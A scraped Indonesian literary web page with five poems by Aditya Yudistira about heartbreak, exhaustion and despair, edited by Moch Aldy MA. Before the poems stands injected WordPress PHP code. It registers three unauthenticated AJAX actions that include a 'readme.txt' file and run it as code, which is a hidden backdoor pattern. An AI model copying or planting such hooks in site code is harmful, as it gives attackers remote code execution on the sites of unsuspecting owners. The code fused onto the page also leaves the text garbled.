if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Menuju Semesta Lain dan Puisi Lainnya
absurddd~

Menuju Semesta Lain dan Puisi Lainnya

Aditya Yudistira

1 min read

mau mati, seperti?

i
dada sesak, dada sesak
dada, dada
sesak, sesak
ada, dada
ada, sesak

ii
kuyu-bengkak-merah
masih melayat luka dengan airnya
pedahal telinga pengar telah
menjelma pekuburan bunyi
dan kesabaran hati (di mana hati?)
yang hilang di dasar hari
memanggil namamu
bersujud lalu mati,
jika lekas terjadi:
kamu mau mati, seperti?…..

Margahayu, 2024

transaksi cinta dan sabar

i
mohon maaf,
saldo cinta—yang katanya suci—
kamu tidak mencukupi
silakan isi ulang di kehidupan selanjutnya
tanpa air mata saat dadamu dibelah
adalah nyata dirimu melekat di situ,
“kau ambil senyuman menutup mata”
pada siksa berulang darah bersimbur tulang;
disayat-digenggam-remuk;
dilumat rakus tak bersisa oleh-Nya.

ii
di perduaan jalan
kulihat makna bertuliskan
sedia sabar di grosir cinta
aku sungguh ingin memilikinya
tapi maaf, saldoku masih tidak tercukupi
bolehkah aku membayar dengan kecamuk rindu
yang rumbu & buta pada rambu
pada tubuh & jiwamu;
pada tubuh & jiwaku;
sama lelahnya nasib ber(m)adu.

Grogol, 2024


 
menuju semesta lain

hari-hariku harus mengangkat batu-beban lagi
jika sisifus seorang karyawan swasta di perusahaan cin(t)a
mungkin saja hambanya berdoa agar:
kamar tidurnya serupa arena gym & fitness,
kamar mandinya menjadi velodrom setengah jadi,
kamar kerjamu menjelma krematorium dengan kepul yang sibuk,
sedang tubuhku adalah tempat terbaik bagi para biang bangsat,
kerubung lalat mayat di selokan, bising nyamuk hutan hujan,
deret panjang semut api afrika, tikus-tikus martir di kota oran,
batalyon terbesar kecoak (seluas) asia
serta ribuan binatang jalang lainnya di kepalamu.

ah, sial. mereka tak henti merayuku, merongrong
pagelaran hajatan makan-makan
hidangan tubuhku yang beraroma lapuk sedih;
bertekstur pepat muak;
terasa banal dengan amis jahat;
bersama sisa rasa nyata pengkhianatan;
(s/d)uka citanya dilengkapi minum-minuman
alkohol oplosan spiritus tambal ban, oli samping 2 tak, & reak coklat dajjal
hingga hatiku yang penuh cinta kepadamu remuk tak berbentuk.
secuil kepingan hati yang tersisa, tercecer di mulut jahanam malam,
mereka memungut dan mengaraknya
mengitari semesta yang terbatas, & terabas.

Jakarta, 2024

kamu, kenapa?

gelombang air mata tiba tak henti
menjadi kompas menuju rumahmu
saat badai masih menerjang pusara hari.
gedung-gedung kota, dimakan anjing
setelah dan sebelum aku mengenalnya
melewati bangku taman yang ranum
dipenuhi cemas, tolol, & linglung.

aku masih percaya cinta,
yang tumbuh dan merambah
di depan gerbang sekolah
ketika terlambat pada
mata pelajaran pertama.
mata yang mengajariku mengeja
hamparan sabar dalam sembarang derita.

aku masih percaya cinta,
walau terlunta-lunta diisap lelah
oleh beban perbudakan di bilik ruang kerja;
dipadat arus bernama keluarga.

sebab itu aku masih percaya cinta,
dengan menanam kasih sayang
dengan lebat akar yang menjalar-
meraba ke sumber sari cintamu,
dalam getir ketidakdugaan
yang keos & tak terukur
kuterima titik-belanga tak hingga
membunuh-bunuh sanubariku.

Bekasi-Jakarta, 2024

dunia (sungguh?) runtuh

perubahanmu
melesat seperti
gerak awan
saat dunia runtuh.

kesadaranku
melamban serupa
kesadaranmu saat
dunia menuju runtuh.

purwarupa kehancuranmu
segala rupa kehancuranku
kini mati, jemu bercumbu.

Sudirman, 2024

*****

Editor: Moch Aldy MA

Aditya Yudistira

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email